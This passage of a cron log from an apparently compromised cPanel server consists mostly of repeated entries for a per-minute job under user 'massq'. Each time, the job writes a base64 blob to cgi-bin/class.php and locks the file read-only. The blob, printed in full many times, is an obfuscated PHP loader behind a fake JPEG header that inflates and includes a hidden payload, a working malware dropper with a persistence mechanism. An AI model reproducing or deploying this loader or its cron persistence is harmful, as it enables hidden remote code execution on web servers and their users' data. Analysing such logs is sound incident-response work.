JVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:11:01 server CROND[19986]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:12:01 server CROND[20834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:12:01 server CROND[20835]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 08:13:01 server CROND[21672]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:14:01 server CROND[22507]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:15:01 server CROND[23341]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:15:01 server CROND[23342]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:15:01 server CROND[23343]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:15:01 server CROND[23345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:16:01 server CROND[24329]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:17:01 server CROND[24981]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:18:01 server CROND[25805]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:19:01 server CROND[26625]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:20:01 server CROND[27518]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 08:20:01 server CROND[27525]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:20:01 server CROND[27526]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 08:20:01 server CROND[27527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 08:20:01 server CROND[27524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 08:21:01 server CROND[28443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:22:01 server CROND[29279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 08:23:01 server CROND[30158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
